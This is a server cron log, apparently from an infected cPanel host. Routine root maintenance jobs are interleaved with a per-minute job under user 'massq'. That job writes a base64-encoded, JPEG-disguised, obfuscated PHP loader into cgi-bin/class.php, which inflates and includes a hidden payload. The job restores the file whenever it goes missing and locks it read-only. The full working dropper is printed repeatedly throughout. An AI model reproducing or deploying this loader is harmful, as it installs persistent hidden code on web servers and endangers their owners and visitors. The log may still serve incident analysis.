Aug 31 15:50:01 server CROND[23645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:50:01 server CROND[23643]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:50:01 server CROND[23646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:51:01 server CROND[24486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:51:01 server CROND[24487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:51:01 server CROND[24488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:52:01 server CROND[24867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:52:01 server CROND[24868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:52:01 server CROND[24869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:53:01 server CROND[25236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:53:01 server CROND[25237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:53:01 server CROND[25238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:54:01 server CROND[25608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:54:01 server CROND[25609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:54:01 server CROND[25610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:55:01 server CROND[26077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:55:01 server CROND[26082]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:55:01 server CROND[26081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:55:01 server CROND[26083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:55:01 server CROND[26079]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:55:01 server CROND[26084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:55:01 server CROND[26080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:56:01 server CROND[26878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:56:01 server CROND[26879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:56:01 server CROND[26881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:57:01 server CROND[27249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:57:01 server CROND[27248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:57:01 server CROND[27251]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:57:01 server CROND[27250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:58:01 server CROND[27636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:58:01 server CROND[27637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:58:01 server CROND[27638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:59:01 server CROND[28018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:59:01 server CROND[28020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:59:01 server CROND[28019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:00:01 server CROND[28503]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:00:01 server CROND[28505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:00:01 server CROND[28508]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:00:01 server CROND[28509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:00:01 server CROND[28513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:00:01 server CROND[28517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:00:01 server CROND[28512]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 16:00:01 server CROND[28516]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 16:00:01 server CROND[28514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:00:01 server CROND[28519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:01:01 server CROND[29387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:01:01 server CROND[29388]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 16:01:01 server CROND[29390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:01:01 server CROND[29391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:01:01 server run-parts(/etc/cron.hourly)[29388]: starting 0anacron
Aug 31 16:01:01 server run-parts(/etc/cron.hourly)[29412]: finished 0anacron
